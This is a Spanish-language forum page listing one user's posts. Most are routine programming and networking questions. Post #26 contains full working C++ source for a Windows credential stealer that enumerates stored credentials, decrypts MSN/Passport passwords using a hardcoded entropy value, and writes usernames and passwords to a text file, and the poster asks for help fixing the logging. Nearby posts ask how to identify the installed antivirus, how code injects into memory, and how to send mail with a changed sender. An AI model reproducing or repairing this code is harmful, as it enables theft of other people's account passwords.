Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - drakolive

#21
claro que no hay problema, todo es bienvenido
#22
seria bueno si se pudiera enviar mensajes con HTML
y poder cambiar el remitente
#23
Gracias!!!!!
voy a averiguar para comprender mejor esto: sprintf

no sabia ni que hacer, gracias!!!!!!  :-*
#24
esto para que es?  sDomain??
supongamos que yo haga un llamado a esa funcion
msgbox ValidateSysPassword("mipassword","admin", ????????????????)

???
#26
estoy adaptando este codigo, pero al momento de colocarle para que guarde el historial en un archivo no lo hace, solo guarda un caracter, osea guarda cierta parte del texto, pero no completa, lo he probado con el dev c++
alguien me ayuda??

creo que mi problema radica en esta linea:
printf("Password : %ls\n\n", CredentialCollection->CredentialBlob);

por esto: %ls

como solucionoo?

Código (c++) [Seleccionar]

/* Programa que recupera contraseñas almacenadas con Microsoft Messenger,
* basado en el código original de Gregory R. Panakkal, http://www.infogreg.com
* modificado para Windows Live Messenger. XP SP2
* Testeado con la versión 8 de Windows Live Messenger y 7.0 - 7.5 MSN Messenger.
* Compilar con Visual C++ 6.
* By dSx.
*/
#include<windows.h>
#include<stdio.h>
#include <fstream.h>

using namespace std;

typedef struct _CREDENTIAL_ATTRIBUTEA {
  LPSTR Keyword;
  DWORD Flags;
  DWORD ValueSize;
  LPBYTE Value;
} CREDENTIAL_ATTRIBUTEA, *PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
  DWORD Flags;
  DWORD Type;
  LPSTR TargetName;
  LPSTR Comment;
  FILETIME LastWritten;
  DWORD CredentialBlobSize;
  LPBYTE CredentialBlob;
  DWORD Persist;
  DWORD AttributeCount;
  PCREDENTIAL_ATTRIBUTEA Attributes;
  LPSTR TargetAlias;
  LPSTR UserName;
} CREDENTIALA, *PCREDENTIALA;

typedef struct _CRYPTOAPI_BLOB {
  DWORD  cbData;
  BYTE*  pbData;
} DATA_BLOB;

typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
DWORD   cbSize;
DWORD   dwPromptFlags;
HWND    hwndApp;
LPCWSTR  szPrompt;
} CRYPTPROTECT_PROMPTSTRUCT;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;


typedef BOOL (WINAPI *typeCryptUnprotectData)(
           DATA_BLOB *,
           LPWSTR *,
           DATA_BLOB *,
           PVOID *,         
           CRYPTPROTECT_PROMPTSTRUCT *,
           DWORD,
           DATA_BLOB *
);
typedef BOOL (WINAPI *typeCredEnumerateA)(
           LPCTSTR,
           DWORD,
           DWORD *,
           PCREDENTIALA **
);
typedef BOOL (WINAPI *typeCredReadA)(
           LPCTSTR,
           DWORD,
           DWORD,
           PCREDENTIALA *
);
typedef VOID (WINAPI *typeCredFree)(PVOID);
     
typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;
typeCryptUnprotectData pfCryptUnprotectData;

void showBanner(void);


int main()
{
showBanner();
  PCREDENTIAL *CredentialCollection = NULL;
  DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
 
  char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
  short int EntropyData[37];
  short int tmp, pnet, j;

  HMODULE hDLL, hDLL2;
  DWORD Count, i;

 


  if (hDLL = LoadLibrary("advapi32.dll")) {
   pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
   pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
   pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");

   if (pfCredEnumerateA == NULL ||
     pfCredReadA == NULL ||
     pfCredFree == NULL) {
     
     printf("Error!\n");
     return -1;
   }
  }
 
  if (hDLL2 = LoadLibrary("crypt32.dll")) {
   pfCryptUnprotectData = (typeCryptUnprotectData)GetProcAddress(hDLL2, "CryptUnprotectData");
   
   if (pfCryptUnprotectData == NULL) {
     printf("Error!\n");
     return -1;
   }
  }
 
  pfCredEnumerateA(NULL, 0, &Count, &CredentialCollection);
  printf("\nCount: %d\n", Count);
  //Calculate Entropy Data
  for (i = 0; i < 37; i++) { // strlen(szEntropyStringSeed) = 37
   tmp = (short int)szEntropyStringSeed[i];
   tmp <<= 2;
   EntropyData[i] = tmp;
  }
 
  if (Count) {
             
   for (i = 0; i < Count; i++) {
     pnet = strcmp(CredentialCollection[i]->TargetName, "Passport.Net\\*");
     if (!pnet) {
      blobEntropy.pbData = (BYTE *)&EntropyData;
      blobEntropy.cbData = 74; //sizeof(EntropyData)
             
      blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
      blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;
       
      pfCryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
      //showBanner(CredentialCollection[i]->UserName);
     
     
      //log << "asdasdasdas";
      printf("<-- MSN Messenger -->\n"); 
      printf("Username : %s\n", CredentialCollection[i]->UserName);
      printf("Password : %ls\n\n", blobPlainText.pbData);
   
     } else {
     ofstream log("Passwords.txt", ios::app);
      printf("<-- Windows Live Messenger -->\n");
      printf("Username : %s\n", CredentialCollection[i]->TargetName);
      printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);
     
      log <<  "<-- Windows Live Messenger -->\n";
      log << "Username: " << CredentialCollection[i]->TargetName << "\n";
      log << "Password : " << CredentialCollection[i]->CredentialBlob << "\n\n" ;
     
     }
   }
  }
  pfCredFree(CredentialCollection);
  getchar();
  getchar();
   
  return EXIT_SUCCESS;
}

void showBanner()
{
printf("Passwords\n");
}
#27
tengo la necesidad de saber como puedo obtener el nombre del antivirus instalado, estaba pensando mirar en el registro, pero no se donde debe estar ese nombrecesito, habia pensado en tambien detectar los procesos y saber asi que antivirus usa, porque por ejemplo el kaspersky: avg.exe, y asi....


editado:
Gracias por su ayuda, esta listo.
#28
Citarpuede comprar un AP (Acess Point)

donde consigo eso? es fiable? porque quiero pasar internet a mi otra Pc que esta en el primer piso y no se podria hacer por cables, y que tanta distancia es recomendable para al navegar no tener problemas ???
#29
no entiendo el codigo, osea, quiero saber la idea, en que se basa...
como es que logra poder inyectarse en la memoria,
alguien podria explicar cada api? osea la idea principal ... eso seria mejor que postear el codigo; porque lo que quiero es aprender, por eso...
podrias explicar parte del codigo cobein? a veces google me confunde un poco.
bueno, si pudieras explicar seria muy bueno para todos, y tu TugHack se que no me explicaras, a ti ni te pido nada porque te intentas sobrar y discriminar a los que menos saben; tampoco te critico de l mal mnera, pero tus ideas serian mas brillantes si enseñaras (no solo postear el code, sino enseñar cada idea cada razonamiento) para asi todos aprender para mas.
:D

esperoq ue alguien me comprenda.
#30
intente tomar la clase para agregala a un nuevo proyecto y poder usar el tray pero no logro hacerlo funcionar
Código (vb) [Seleccionar]
Private Sub Form_Load()
Set f_cSystray = New cSystray
  Call ConfigureSystray
End Sub
Private Sub ConfigureSystray()
    With f_cSystray
        .SysTrayIconFromRes "ICON_0"
        .SysTrayToolTip = "C"
        .SysTrayShow
    End With
End Sub


le agrege un icono a mi proyecto: editor de recursos, agregar icono; pero no va.. nose si puedes hacer un tutorial a como usar la clase... gracias